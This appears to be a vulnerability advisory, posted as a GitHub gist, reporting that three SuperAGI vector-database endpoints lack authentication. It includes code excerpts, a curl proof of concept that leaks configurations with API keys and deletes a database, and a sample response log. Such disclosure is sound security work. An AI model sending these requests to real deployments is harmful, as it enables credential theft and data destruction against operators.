YLChen-007 / **ISSUE-Github-REPORT-VectorDB-NoAuth.md** Secret

Created last month

Code Revisions 1

Unauthenticated Access to Vector Database Management Endpoints

ISSUE-Github-REPORT-VectorDB-NoAuth.md

Advisory Details

Title: Unauthenticated Access to Vector Database Management Endpoints

Description:

Summary

Three Vector Database management endpoints in SuperAGI completely lack authentication, allowing any unauthenticated attacker to read Vector DB configurations (including API keys for Pinecone/Qdrant/Weaviate), delete Vector DBs and all associated knowledge data, or modify Vector DB indices — without any login.

Details

The following three endpoints in `superagi/controllers/vector_dbs.py` have **no** `Depends(check_auth)` or `Depends(get_user_organisation)` dependency, unlike all other sensitive endpoints in the codebase:

```
# superagi/controllers/vector_dbs.py, lines 35-50 — NO AUTH
@router.get("/db/details/{vector_db_id}")
def get_vector_db_details(vector_db_id: int):   # ← No auth!
    vector_db = Vectordbs.get_vector_db_from_id(db.session, vector_db_id)
    vector_db_config = VectordbConfigs.get_vector_db_config_from_db_id(db.ses
    # Returns config including API keys for Pinecone/Qdrant/Weaviate

# superagi/controllers/vector_dbs.py, lines 52-62 — NO AUTH
@router.post("/delete/{vector_db_id}")
def delete_vector_db(vector_db_id: int):        # ← No auth!
```

```
    # Deletes Vector DB + all indices + all associated knowledge

# superagi/controllers/vector_dbs.py, lines 124-145 — NO AUTH
@router.put("/update/vector_db/{vector_db_id}")
def update_vector_db(new_indices: list, vector_db_id: int):  # ← No auth!
    # Modifies any Vector DB's indices
```

Compare with the authenticated endpoints in the same file (e.g., `connect_pinecone_vector_db` at line 64 uses `Depends(get_user_organisation)`). The three vulnerable endpoints were clearly missed during development.

PoC

No authentication is needed — just send the requests:

```
# 1. List all Vector DBs (leaks organisation IDs)
curl -s "http://localhost:3000/api/vector_dbs/get/list"

# 2. Get Vector DB details including API keys
curl -s "http://localhost:3000/api/vector_dbs/db/details/1"

# 3. Delete a Vector DB (DESTRUCTIVE!)
curl -s -X POST "http://localhost:3000/api/vector_dbs/delete/1"
```

Log of Evidence

Tested with PROD mode (`ENV: 'PROD'`) where all other endpoints require JWT:

```
$ curl -s "http://localhost:3000/api/vector_dbs/get/list"
[{"id":1,"db_type":null,"organisation_id":13,"name":"Pinecone"},
{"id":2,"db_type":null,"organisation_id":13,"name":"Qdrant"},
{"id":233,"db_type":null,"organisation_id":13,"name":"Weaviate"}]
```

Note: Other endpoints correctly return `401 Missing Authorization Header` without JWT, but these three return data freely.

Impact

- **API Key Theft**: Vector DB configs contain API keys for Pinecone, Qdrant, or Weaviate services.
- **Data Destruction**: Deleting a Vector DB cascades to all associated indices and knowledge data.

- **Service Disruption**: Modifying indices can corrupt the vector search functionality.

Affected products

- **Ecosystem**: pip
- **Package name**: SuperAGI
- **Affected versions**: All versions up to and including latest (`main` branch, commit `c3c1982`)
- **Patched versions**:

Severity

- **Severity**: Critical
- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Weaknesses

- **CWE**: CWE-306: Missing Authentication for Critical Function

Occurrences

Permalink
https://github.com/TransformerOptimus/SuperAGI/blob/c3c1982e7bd6a11cfed53c5a193eL50
https://github.com/TransformerOptimus/SuperAGI/blob/c3c1982e7bd6a11cfed53c5a193eL62
https://github.com/TransformerOptimus/SuperAGI/blob/c3c1982e7bd6a11cfed53c5a193eL145